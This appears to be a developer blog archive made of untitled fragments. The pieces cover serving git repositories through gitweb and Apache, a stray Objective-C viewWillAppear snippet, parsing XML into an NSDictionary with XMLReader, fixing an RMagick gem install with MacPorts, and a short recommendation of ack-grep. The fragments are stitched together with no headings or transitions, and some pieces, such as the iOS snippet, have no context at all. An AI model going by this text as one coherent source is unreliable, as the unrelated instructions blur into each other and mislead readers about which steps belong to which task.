git instaweb -d webrick

Now if you have several git projects as I am, you want to use gitweb. In fact instaweb uses the gitweb script but configured for one specific repository. The script is in .git/gitweb/gitweb.cgi .

On Ubuntu, install the script with the command:

apt-get install gitweb

I’m going to assume you have apache2 and mod_perl installed. So in the config file

/etc/apache2/sites-enabled/000-default

add this config at the end of the VirtualHost block:

ScriptAlias /git “/usr/lib/cgi-bin/gitweb.cgi”
<Directory “/home/git/”>
Options Indexes FollowSymLinks ExecCGI
Order allow,deny
Allow from all
</Directory>

Now you just have to configure gitweb by setting the directory containing your git projects in the file:

/etc/gitweb.conf

Finally, restart apache and you should be able to browse your projects on this url:

http://localhost/git

- (void)viewWillAppear:(BOOL)animated {
	[myTextField becomeFirstResponder];
}

Here are the key ideas:

1. XML elements map to key names in the dictionary
2. Each element corresponds to a child dictionary
3. Attribute key-value pairs are added to the element’s child dictionary
4. Strings from text nodes are assigned to the child dictionary’s “text” key
5. If an element name is encountered multiple times, the value of the element is set to an array of children dictionaries

For a more detailed presentation.

A detailed example:

The XML to parse:

//    <items>
//        <item id=”0001″ type=”donut”>
//            <name>Cake</name>
//            <ppu>0.55</ppu>
//            <batters>
//                <batter id=”1001″>Regular</batter>
//                <batter id=”1002″>Chocolate</batter>
//                <batter id=”1003″>Blueberry</batter>
//            </batters>
//            <topping id=”5001″>None</topping>
//            <topping id=”5002″>Glazed</topping>
//            <topping id=”5005″>Sugar</topping>
//        </item>
//    </items>
//

The Code:

NSString *testXMLString = @”<items><item id=\”0001\” type=\”donut\”><name>Cake</name><ppu>0.55</ppu><batters><batter id=\”1001\”>Regular</batter><batter id=\”1002\”>Chocolate</batter><batter id=\”1003\”>Blueberry</batter></batters><topping id=\”5001\”>None</topping><topping id=\”5002\”>Glazed</topping><topping id=\”5005\”>Sugar</topping></item></items>”;

// Parse the XML into a dictionary
NSError *parseError = nil;
NSDictionary *xmlDictionary = [XMLReader dictionaryForXMLString:testXMLString error:&parseError];

// Print the dictionary
NSLog(@”%@”, xmlDictionary);

The result

// xmlDictionary = {
//    items = {
//        item = {
//            id = 0001;
//            type = donut;
//            name = {
//                text = Cake;
//            };
//            ppu = {
//                text = 0.55;
//            };
//            batters = {
//                batter = (
//                    {
//                        id = 1001;
//                        text = Regular;
//                    },
//                    {
//                        id = 1002;
//                        text = Chocolate;
//                    },
//                    {
//                        id = 1003;
//                        text = Blueberry;
//                    }
//                );
//            };
//            topping = (
//                {
//                    id = 5001;
//                    text = None;
//                },
//                {
//                    id = 5002;
//                    text = Glazed;
//                },
//                {
//                    id = 5005;
//                    text = Sugar;
//                }
//            );
//        };
//     };
// }
//

sudo  gem install rmagick

And the result is :

Building native extensions.  This could take a while…

It seems there are dependencies not installed. To solve this problem, I will use macport and install the necesary libs with the command:

sudo port install tiff -macosx imagemagick +q8 +gs +wmf

After a bunch of compilation, I relaunch my gem command :

sudo gem install rmagick

And “Voila!” it works. Now have fun with RMagick functionalities.

Recently, I had to work on an complex iPhone application developed by another company. ack-grep helped me a lot to dig in the hairy code. Since I’m using this tool I can’t work without it.

The installation is easy, it’s worth a try.
